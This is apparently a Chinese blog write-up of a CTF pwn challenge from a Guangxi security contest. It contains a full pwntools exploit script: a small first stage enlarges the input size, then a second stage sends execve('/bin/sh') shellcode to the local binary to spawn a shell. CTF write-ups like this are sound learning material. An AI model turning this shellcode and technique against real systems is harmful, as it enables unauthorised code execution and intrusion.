一个简单的 shellcode pwn题 广西首届网络安全选拔赛

这个题 唯一的难点就是 shellcode  的 只是给了 0x14的大小

本来这个题 不打算发博客  但是有小姐姐看 ~~~ 就写一篇发上来把

然后我们看一下 程序的大概内容

{说一个很沙雕的事情 由于这个程序的特殊性  f5没有办法 看出来  然后 负责人这个b心情又不好

然后我把这个程序的 call eax  搞成nop

 

f5 一把梭 

}

23333  所以 这个题 其实也就是 重点是先 shellcode  把那个参数改的大一些就好了  push ret 一把梭 

emmm  感觉 都给注释了 直接看exp把
 

import sys
from pwn import *
#context.log_level='debug'
#context.arch='amd64'

if len(sys.argv)==1 :
	io=process('./pwn_1')
	elf=ELF('./pwn_1')
	#libc=ELF('')

pay='\xC7\x44\x24\x08\x44\x00\x00\x00'
#mov    dword ptr [esp + 8], 0x44
pay+=asm("push 0x0804848E")
pay+=asm("ret")
print len(pay)
gdb.attach(io,'b *0x080484CB')
io.sendline(pay)
io.recv()


pay=asm("push   0xb")
pay+=asm("pop    eax")
pay+=asm("cdq")
pay+=asm("push   edx")
pay+=asm("sub    ebp,8")
pay+=asm("mov    ebx,ebp")
pay+=asm("xor    ecx,ecx")
pay+=asm("int    0x80")
pay=pay.ljust(0x21,'a')
pay+='/bin/sh\x00'
print len(pay)
io.sendline(pay)


#pause()
io.interactive()

猜你喜欢

转载自blog.csdn.net/qq_41071646/article/details/90947971